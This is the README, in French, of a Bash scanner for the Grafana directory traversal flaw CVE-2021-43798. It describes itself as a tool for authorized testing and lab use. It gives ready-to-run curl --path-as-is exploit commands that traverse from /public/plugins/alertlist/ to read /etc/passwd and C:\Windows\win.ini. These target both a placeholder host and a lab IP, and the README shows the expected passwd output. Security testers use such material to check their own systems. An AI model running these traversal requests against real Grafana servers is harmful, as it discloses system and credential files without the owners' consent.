Scanner basé sur Bash qui énumère les ID de plugins Grafana et teste la traversée de répertoire CVE-2021-43798 en tentant de lire /etc/passwd ou win.ini sur les instances vulnérables.
Un petit outil en Bash pour tester les instances Grafana pour CVE-2021-43798, une vulnérabilité de traversée de répertoire affectant les versions vulnérables de Grafana.
L'outil énumère les identifiants de plugins Grafana et utilise curl --path-as-is pour tester si la traversée de répertoire peut accéder à un fichier connu.
Pour les tests de sécurité autorisés et les environnements de laboratoire uniquement.
.
├── grafana-windows.sh
├── grafana-linux.sh
├── plugins.txt
└── README.md
grafana-windows.sh : Teste l'accès à C:\Windows\win.inigrafana-linux.sh : Teste l'accès à /etc/passwdplugins.txtcurlVérifiez que curl est installé :
curl --version
Rendez les scripts exécutables :
chmod +x grafana-windows.sh
chmod +x grafana-linux.sh
CVE-2021-43798 est une vulnérabilité de traversée de répertoire dans Grafana.
Le point de terminaison vulnérable est basé sur :
/public/plugins/<plugin-id>/
La vulnérabilité peut permettre une traversée en dehors du répertoire de plugins prévu.
Le point important lors des tests avec curl est :
--path-as-is
Sans cette option, le client peut normaliser le chemin avant de l'envoyer au serveur.
Le scanner Windows tente de récupérer :
C:\Windows\win.ini
Le chemin est représenté dans la requête HTTP comme :
Windows/win.ini
./grafana-windows.sh \
-u http://192.168.68.193:3000 \
-w plugins.txt
Exemple :
./grafana-windows.sh -u http://TARGET:3000 -w plugins.txt
Vous pouvez tester manuellement un plugin avec :
curl --path-as-is \
"http://TARGET:3000/public/plugins/alertlist/../../../../../../../../Windows/win.ini"
Pour la cible de laboratoire :
curl --path-as-is \
"http://192.168.68.193:3000/public/plugins/alertlist/../../../../../../../../Windows/win.ini"
Une réponse réussie devrait contenir le contenu du fichier INI Windows.
Le scanner Linux tente de récupérer :
/etc/passwd
./grafana-linux.sh \
-u http://192.168.68.193:3000 \
-w plugins.txt
Exemple générique :
./grafana-linux.sh -u http://TARGET:3000 -w plugins.txt
curl --path-as-is \
"http://TARGET:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"
Pour la cible de laboratoire :
curl --path-as-is \
"http://192.168.68.193:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"
Une réponse Linux réussie devrait contenir des entrées similaires à :
root:x:0:0:root:/root:/bin/bash
Les deux scanners utilisent les mêmes arguments de base :
u, --url : URL de base de Grafanaw, --wordlist : Liste de mots de pluginsf, --file : Fichier à testerh, --help : Afficher l'aide